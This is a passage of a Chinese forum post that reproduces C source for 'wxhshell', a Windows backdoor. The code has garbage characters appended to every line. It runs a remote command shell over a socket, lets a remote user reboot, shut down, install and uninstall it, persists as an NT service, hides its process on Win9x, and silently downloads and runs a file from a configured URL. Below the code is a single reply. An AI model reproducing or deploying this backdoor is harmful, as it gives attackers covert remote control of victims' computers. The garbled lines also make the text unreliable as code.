  if(DownloadFile(cmd,wsh)) 4tA`,}ywPq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P 7`RAz  
  else [8 I*lsS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WALK@0E  
  } FE=vUQXE2  
  else { RKb{QAK!v  
->9waXRDz)  
    switch(cmd[0]) { R+&{lc  
  ;owU]Xk%8K  
  // 帮助 TdKo"H*C  
  case '?': { qsG}A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yd=NafPM  
    break; ]39])ul  
  } <^n@q f}  
  // 安装 wn Q% 'Eo  
  case 'i': { 5>\Lk>rI  
    if(Install()) !Bu=?gf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O-uf^ S4  
    else #&sw%CD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Sjf-o1V  
    break; Xh?J"kjof  
    } N"[r_!  
  // 卸载 MwE^.6xl{  
  case 'r': { ,>3b|-C-  
    if(Uninstall()) Hfo/\\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  [1Q:  
    else AMe_D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jJ7"9  
    break; SdXAL  
    } Ue&I]/?;$  
  // 显示 wxhshell 所在路径 |Duf 3u  
  case 'p': { cv7.=*Kb;  
    char svExeFile[MAX_PATH]; rD!UP1Nb  
    strcpy(svExeFile,"\n\r"); j V'~>  
      strcat(svExeFile,ExeFile); 3kW%,d*_  
        send(wsh,svExeFile,strlen(svExeFile),0); (nnIRN<}$  
    break; /4>|6l=  
    } yD yMI  
  // 重启 ' JAcN@q~z  
  case 'b': { 4<btWbk5u*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tGw QUn  
    if(Boot(REBOOT)) ~Q2,~9Dkc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h[& \ OD,P  
    else { cnL@j_mb  
    closesocket(wsh); g0M/Sv  
    ExitThread(0); V8947h|&  
    } ,e@707d`\  
    break; v$~ZT_"(9  
    } )U +Pt98"  
  // 关机 1Q!^%{Y;  
  case 'd': { 2>F `H7W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #9/S2m2\YG  
    if(Boot(SHUTDOWN)) #gSIa6z1W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9xRor<  
    else { {1}p+dEK  
    closesocket(wsh); f^[u70c82  
    ExitThread(0); w)<h$ <tU  
    } {s3j}&  
    break; AiUK#I  
    } *?R<gWCF  
  // 获取shell g E$@:j  
  case 's': { AcIw; c:  
    CmdShell(wsh); K*aGz8N  
    closesocket(wsh); umI6# Vd`=  
    ExitThread(0); Senb_?  
    break; +GlG.6  
  } Eemk2>iP?  
  // 退出 bnxR)b~  
  case 'x': { uuf+M-P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _xdFQ  
    CloseIt(wsh); dk.VH!uVb  
    break; u;/<uV3  
    } KY9&Ky+2B  
  // 离开 s-e<&*D[  
  case 'q': { VI;)VJbq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EViDMp"  
    closesocket(wsh); .]LP327u  
    WSACleanup(); wh#x`Nc  
    exit(1); MB"<^ZX  
    break; /rzZU}3[  
        } yr q){W  
  } +<7a$/L?4  
  } (R^Ca7F  
I`[s(C>3@  
  // 提示信息 F(;95TB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8]A`WDO3  
} 9~6~[z  
  } i3<ZFR  
m:C|R-IL  
  return; vx4Jk]h+=L  
} :M\3.7q  
I7HP~v~  
// shell模块句柄 jB0ED0)wX  
int CmdShell(SOCKET sock) t4FaU7  
{ 5tcJT z  
STARTUPINFO si; &)F# cVB  
ZeroMemory(&si,sizeof(si)); l>?k>NEpP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4qg] oiT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #2Z\K>L  
PROCESS_INFORMATION ProcessInfo; 5 u^;71  
char cmdline[]="cmd"; $|H7fn(r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L<O"36R  
  return 0; $?dutbE  
} KO&oT#S  
]V.0%Ccw;.  
// 自身启动模式 DS>qth  
int StartFromService(void) X Frgnnt  
{ M|\C@,F]8  
typedef struct |s{[<;  
{ =(]||1 .  
  DWORD ExitStatus; {on+ ;,  
  DWORD PebBaseAddress; Jsw%.<  
  DWORD AffinityMask; N-<m/RS  
  DWORD BasePriority; tjt#2i8/  
  ULONG UniqueProcessId; ca?;!~%zA  
  ULONG InheritedFromUniqueProcessId; O>Ao#_*hOb  
}   PROCESS_BASIC_INFORMATION; +EP=uV9t  
> @n?W"  
PROCNTQSIP NtQueryInformationProcess; zR6^rq*  
% #-'|~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6),VN>j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FX:'38-fk  
X.hV MX2B  
  HANDLE             hProcess; K0z@gWGE  
  PROCESS_BASIC_INFORMATION pbi; mFeoeI,Jv  
U(u$5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #hP&;HZ2>"  
  if(NULL == hInst ) return 0; _%6Vcy  
d ~3G EK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @DK;i_i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0OPpALl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [XDr-5Dm  
&Ez]pKjB  
  if (!NtQueryInformationProcess) return 0; riY[p,  
ma7@vD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .80L>0  
  if(!hProcess) return 0; 7) e#b  
Kk<MS$Ov  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  4xnM7t\  
4Q5 c'  
  CloseHandle(hProcess); ey! {  
Hpq?I-g<^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d}_%xkC  
if(hProcess==NULL) return 0; *u?N{LkqS  
[I4&E >  
HMODULE hMod; @T 8$/  
char procName[255]; =VM4Q+'K  
unsigned long cbNeeded; pi?[jU[Tn  
,?ci+M)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z{ydP Ra  
(#%R'9R v  
  CloseHandle(hProcess); G2e0\}q  
LSN%k5G7.  
if(strstr(procName,"services")) return 1; // 以服务启动 Tv`-h  
kr6^6I.  
  return 0; // 注册表启动 +oe%bk|A  
} 84UI)nE:Q  
a~"<lzu|$  
// 主模块 _M9-n  
int StartWxhshell(LPSTR lpCmdLine) SVc5mS|up  
{ Lyj0$wbH`  
  SOCKET wsl; 3f^~mTY9>]  
BOOL val=TRUE; _$YT*o@0J  
  int port=0; $jtXN E?  
  struct sockaddr_in door; [Csv/  
%9P)Okq  
  if(wscfg.ws_autoins) Install(); CxW-lU3G`  
7d"gRM;  
port=atoi(lpCmdLine); 3^J~ts{*  
kEpCF:@A  
if(port<=0) port=wscfg.ws_port; 9;k!dM  
^lCQHz  
  WSADATA data; GO=3<Q{;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )OgQ&,#  
PDH00(#;+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6m!%X GZ T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); + ZxG<1&  
  door.sin_family = AF_INET; UJ8V%0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oiY&O]}  
  door.sin_port = htons(port); XI*cu\7sy  
f0,,<ib.w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1L:sck5k  
closesocket(wsl); +Xjevg6DU  
return 1; XP'7+/A  
} |.c|\e z/  
X9xXL%Q  
  if(listen(wsl,2) == INVALID_SOCKET) { mFu0$N6]H  
closesocket(wsl); iQnIk| 8  
return 1; M4m90C;dq  
} 1=.+!Tg  
  Wxhshell(wsl); b3RCsIz  
  WSACleanup(); nax(V  
&T) h9fyc  
return 0; G,6Zy-Y9  
O.g!k"nas&  
} 9X6l`bo'  
Jf|6 FQo&  
// 以NT服务方式启动 dDoKmuY>5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #Z.2g].  
{ lqe71](sK8  
DWORD   status = 0; /"*eMe!=  
  DWORD   specificError = 0xfffffff; _>"f&nb O  
K=`;D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n'-?CMH`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uh_ 2yw_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x!@P|c1nKC  
  serviceStatus.dwWin32ExitCode     = 0; Y']D_\y  
  serviceStatus.dwServiceSpecificExitCode = 0; = rLL5<  
  serviceStatus.dwCheckPoint       = 0; 1 6N+  
  serviceStatus.dwWaitHint       = 0; WMw]W&  
MU/3**zoW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _RcFV  
  if (hServiceStatusHandle==0) return; CYCG5)<9  
bn8`$FA^  
status = GetLastError(); '&#YaD=""  
  if (status!=NO_ERROR) [esR!})  
{ $<N!2[I L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _jr'A-M  
    serviceStatus.dwCheckPoint       = 0; ^Td_B03)  
    serviceStatus.dwWaitHint       = 0; a~nErB  
    serviceStatus.dwWin32ExitCode     = status; ?U;KwS]%  
    serviceStatus.dwServiceSpecificExitCode = specificError; ; OpN &q+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K V-}:u(  
    return; >TqMb8e_  
  } 2/]74d8  
cLpkgK&a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;[~:Y[N  
  serviceStatus.dwCheckPoint       = 0; ZLRAiL  
  serviceStatus.dwWaitHint       = 0; g)@d(EYY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UZ"jQJQ  
} ueM[&:g&MU  
e<;^P(g`E  
// 处理NT服务事件,比如:启动、停止 I3wv6xZ2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w6 x{ <d  
{ m)aNuQvy:Z  
switch(fdwControl) fEB>3hI  
{ kA1C&  
case SERVICE_CONTROL_STOP: D<35FD,  
  serviceStatus.dwWin32ExitCode = 0; ue;o:>G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '`K-rvF,C  
  serviceStatus.dwCheckPoint   = 0; apxY2oE&  
  serviceStatus.dwWaitHint     = 0; =]auP{AlE  
  { |dxcEjcY_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A&:i$`m,  
  } T1&^IO-F7$  
  return; 3Wl,T5}{  
case SERVICE_CONTROL_PAUSE: Fu%%:3_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j.FW*iX1C  
  break; ?t JyQT  
case SERVICE_CONTROL_CONTINUE: a9=pZ1QAG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :{ }]$+|)\  
  break; S|pMX87R  
case SERVICE_CONTROL_INTERROGATE: ?pAO?5Z:}  
  break; Vif0z*\e{  
}; ]S=AO/'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Ek + }`  
} /s\_"p  
2unaK<1s  
// 标准应用程序主函数 MzY~-74aF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .-Xp]>f,  
{ HaUfTQ8  
ZM~kc|&  
// 获取操作系统版本 xp4w9.X5(  
OsIsNt=GetOsVer(); yl=_ /'*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }95;qyQ$  
E_[)z%&n2  
  // 从命令行安装 *61+Fzr  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4KkjBPV  
H*Tc.Ie  
  // 下载执行文件 <r{M(yZ?@  
if(wscfg.ws_downexe) { \VTNXEw*G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,bQbj7  
  WinExec(wscfg.ws_filenam,SW_HIDE); ![{>$Q?5  
} @vC7j>*4B  
45u\v2,C3  
if(!OsIsNt) { k[6xuyY]  
// 如果时win9x,隐藏进程并且设置为注册表启动 *r&q;ER  
HideProc(); },d`<^~  
StartWxhshell(lpCmdLine); XU3v#Du  
} c~1X/,biA  
else nS53mLU)  
  if(StartFromService()) *,UD&N_)*6  
  // 以服务方式启动 Dj~]]  
  StartServiceCtrlDispatcher(DispatchTable); Y~</vz+H  
else QX'EMyK$  
  // 普通方式启动 0x-58i0  
  StartWxhshell(lpCmdLine); "0nT:!BZ  
*7ggw[~  
return 0; Kf.G'v46  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八